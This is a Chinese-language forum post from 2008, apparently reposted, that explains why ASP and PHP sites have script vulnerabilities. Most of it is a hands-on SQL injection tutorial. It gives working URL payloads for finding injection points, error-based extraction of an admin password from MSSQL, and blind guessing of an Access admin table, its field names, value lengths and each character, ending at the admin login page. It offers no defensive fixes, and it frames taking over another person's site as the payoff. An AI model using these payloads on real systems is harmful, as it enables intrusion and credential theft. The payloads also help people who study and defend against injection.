过期域名预定抢注

 找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。# T% J/ N3 B  J  U. ^6 e
4 E) \3 Y8 L! _0 `$ Y5 E. g
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
0 D, O7 `( Z( F2 R9 i' v8 i: U
) z8 O3 m: C! ^4 o( ?9 r2 z$ u+ h7 \相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:) W" p4 Q  r5 e9 N% n" z

- ?9 u5 f: P6 h5 n+ K  ·錯誤類型:
% r7 r$ k( h! m( s
3 }9 |% V# {9 XMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07). S$ c& O1 L8 |! `' u4 N6 M
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。
. ?  e: B  T% ~2 ^. z$ v/test/show.asp, 第 34 行. C9 ^2 j( U7 x; E( M; G
7 ], n! P" w) X2 L+ N2 H4 B8 i
從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:
8 \/ ]. Z6 S5 ^  b/ Khttp://localhost/test/show.asp?ID=4 and (Select password fro' {) C$ S9 S. D+ i" a4 j  u

2 A; i1 j  k: _9 ~5 g3 N' Vm login where user_name=』admin』)>0,返回的出錯信息如下:* M& U; ~  z4 U5 P5 d
2 N4 d; W4 }2 E6 |/ Y& g
  ·錯誤類型:$ `* A5 t  S2 ]6 G
; _6 r% X! o' Q. A1 [& O( Q+ w
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
* u- @* N; [6 A* }$ S/ s[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。
. i# C) v, ~. E2 t& ~, Y8 ^; I/test/show.asp, 第 34 行' T" p9 n8 g1 r

( k! W5 ~4 Y% \+ l; Z* x現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。: U: z1 W. G) h" W9 ]$ K5 c
5 C4 U7 g  o) B5 Z
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
! G$ l* a* ^; V( g# Q: z5 v5 r$ ~/ r
xx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx
5 |$ d: \  {1 ~. ]" Q" U8 |7 c* P, {2 V: c# C: x# N! M
如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:$ `6 ]( B% d* ?! S* b& G% r
2 h1 V, \( a9 A5 x5 V  D  F
Microsoft vbscript 編譯器錯誤 錯誤碼率
5 Q: s- U. j/ t8 U4 Z" |5 Z; C( |+ V1 z7 M6 ?) d
『800a03f6』                                                                                                                 
: d- y, X& R1 o/ C6 w0 T2 _0 t7 m5 N* M% X  p/ M
缺少』End』# p+ C/ c1 n6 ?9 K( G* s

5 M: _$ s$ H, _) N- ?5 q% ]/iishelp/common/500-100.asp,行242! E1 ]' D! Z4 |( j' w

" i& c, ^( J6 j, ]$ o  k/ A4 I1 @ADODB.Field 錯誤 『800a0bcd』
/ W8 C( p) T2 ]2 U4 `, f
2 E# Q$ o. j& p' s7 x一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:    + V1 w/ P1 d, }1 R, t
% L3 Q  s# w/ o9 b% j0 o( V* A9 E
  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′# U3 y+ e' f# a; W' ~& u
出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
, C/ ]7 \/ b- g) o2 Y) Y# }  V* e: g$ n5 V4 s* F# z
1 猜管理員帳號表。8 j$ N7 s6 T* Y' Q* H5 T/ L% A
2 猜相應表中的用戶的字段名以及密碼的字段名。+ g5 v) @! l! [3 _$ M; f0 B
3 猜出用戶名的長度和密碼的長度7 A/ i: P( Y' d5 V3 a2 h+ o
4 猜出用戶和密碼  ^5 }9 M9 s% t+ F8 U
5 找到管理頁面進入管理5 Z) z) M' |0 N  U" O* l8 x
5 d) J0 }! O' J
猜管理員的表:                            # K5 S( p' ]1 {& Q2 l: ~& S* u
+ B0 N) z6 Z) d
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值
# j% e) _# Z9 Z* M/ s返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。
$ B2 L4 ^. c5 C% C7 ^! }   
! K' \% l! [- L/ S0 r猜用戶的字段名:* e/ X: c! H" k% R- W' d
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名1 h* d  ~3 U& r5 t! j% n1 T& p* v
再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)+ x) W5 a$ [9 n
沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
+ o2 R1 b+ ?, D$ R! p0 w! v
/ W; y) q% j( M& ~猜密碼的字段名:
1 x" F9 D  U" G: {! U" L+ p1 xhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(i+ l7 i- Q. N4 z  z7 [4 q

7 b+ g' _' v& K- P1 y5 r, T& Ed) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        
, T/ \! p7 u9 f4 {2 d" u
( `* X, r, i5 {: n" {再來:http://hostlocal/test2/list.asp?id=17 and 1=(select
! v4 g# U  H% |- Q
; A: h& W( f: H2 k! M" Q) g min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa8 S% f2 j! C( p, X2 }5 H) B7 [* I

% f7 a2 l0 Z# \/ R猜用戶字段名長度:                          
9 B4 A+ T1 T  w. @7 R& L1 G, y" Y0 k' Y% e) a
http://hostlocal/test2/list.asp?id=17 and 1=(select min(
! X5 m/ b6 W% a( c/ J5 e' q' k) O5 o0 N" V7 {+ E& S7 P* N! l
id) from admin where len(username)
& ~' e! h, {) P7 X" A% s+ U4 [5 [) T! p: y: Q( e5 o7 S- `5 Z* b" R
>5)                                                            
! y) }+ Z5 y% a# Q+ S/ S, S) X, C% W) T/ J4 F, g2 {1 B
正確0 U% O6 ?; X. h" I" m( F) k/ u. z
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)6 r2 \" W- {! S) D4 Y
正確
, d* D& }7 Y. j8 ~用戶名長度大於5小於10
9 z" i! A- s  {0 T1 `) h- @' V) ]; lhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username); V1 V  I4 h+ D

& ^* s2 c, y6 B=7)                                                              
# S# ?' U2 i* o  B$ a* t  T! U/ |2 Z
呵``` 用戶名長度為7位
) r6 t) L0 H& V" k0 l- w  x' t% R/ h' y- o$ h
猜密碼長度:* f0 F9 A) g! |; g5 J4 A
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
& n3 {/ l: l8 X正確
# f! e9 a/ M) m! C7 Yhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
( j) \  i- k& Y6 c正確9 `# a! E& D$ `! y' ?0 U/ {
密碼長度也是大於5小於109 Y, r- W) ^, H; g# @+ i: H  U
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)8 Y% y  b5 k3 u: n3 ~
呵``` 密碼長度為7位
  Q; w5 I* M& [3 n  r$ {/ Y! d4 U) {; X- h  e
猜用戶名:
6 I4 W  ]3 d3 v- thttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)0 w7 h. P: a7 h$ H$ U) b2 U, m* Y
1 W2 [/ J1 g. t% k
用戶名第一個字母是:a                                                         
+ L2 |1 s" W0 n
( N+ K! O2 B' z1 D猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=" d. N8 W( z% Z
% P! P. t0 b2 B+ d% u
(select min(id) from admin where mid(username,2,1)=′b′)                                             
$ z7 w0 ~  G2 B9 X  r% L. c0 `( l& V
以此類推!
; o* ?/ W5 a7 _" o$ g7 C2 z4 a  V3 H; e& ~0 {& m7 z
猜密碼:                                                                       
' \+ F: o, r% D8 ]; T  i' L& r4 d+ ~. y" C4 q
猜密碼跟猜用戶名一樣!
: E/ U( r/ t; c8 n7 |% Y# Shttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) + j& V  o: i3 Z7 d
猜完後來到管理頁面:$ b; ]4 I; I4 v% I2 q# z( ?/ D- \
http://hostlocal/test2/admin.asp
0 ?- |! Y$ d& t/ ?- Q  C# n% W' b2 o) q
登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

點基跨境 數位編輯創業論壇

GMT+8, 2025-9-19 03:59

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表